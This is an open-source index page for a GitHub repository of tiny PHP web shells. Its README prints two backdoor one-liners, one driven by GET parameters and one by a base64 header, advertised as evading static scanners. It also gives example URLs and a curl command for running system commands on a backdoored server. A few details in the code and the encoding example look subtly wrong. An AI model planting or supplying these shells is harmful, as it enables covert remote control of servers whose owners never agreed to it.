Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/s0md3v/nano
Nano is a family of PHP web shells which are code golfed for stealth.
https://github.com/s0md3v/nano
mini-shell php-webshell tiny-shell webshell
Last synced: 8 days ago
JSON representation
Nano is a family of PHP web shells which are code golfed for stealth.
- Host: GitHub
- URL: https://github.com/s0md3v/nano
- Owner: s0md3v
- Created: 2018-05-25T15:17:22.000Z (over 6 years ago)
- Default Branch: master
- Last Pushed: 2020-02-18T19:14:32.000Z (over 4 years ago)
- Last Synced: 2024-08-01T09:26:26.339Z (3 months ago)
- Topics: mini-shell, php-webshell, tiny-shell, webshell
- Language: PHP
- Homepage:
- Size: 20.5 KB
- Stars: 431
- Watchers: 32
- Forks: 95
- Open Issues: 2
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-webshell - **354**星
README
# nano
Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient.\
Put it on watch maybe, I will continue to upload more webshells in here.
### Nano
```php
=$_GET[p]==_&&$_GET[f]($GET_[c]);
```
#### Features
- 35 bytes in size
- Can't be detected by static code scanners
- Supports authentication
#### Usage
`http://example.com/nano.php?f=function&c=command&p=password`
`f` is for function\
`c` is for command\
`p` is for password
For example, the code below will execute the `ls` command:
`http://example.com/nano.php?f=system&c=ls&p=password`
### Ninja
```php
=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
```
#### Features
- 93 bytes in size
- Fully Undetectable
#### Usage
This one a bit complex.\
Lets say you want to run `system(ls)` so write it as `system~ls` and then base64 encode it i.e. `c3lzdGVtKGxzKQ==`\
Now add any **1** character at the start of it. Let say 'x' so it will be `xc3lzdGVtKGxzKQ==`\
Now open your terminal and type the following command\
`curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php`\
Too much work? You can use the [handler](https://github.com/s0md3v/nano/blob/master/handler.py) instead.
#### Everything Else
This is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.\
The nano project is licensed under **MIT license** which basically means you have to give me credit if you want to redistribute or modify it.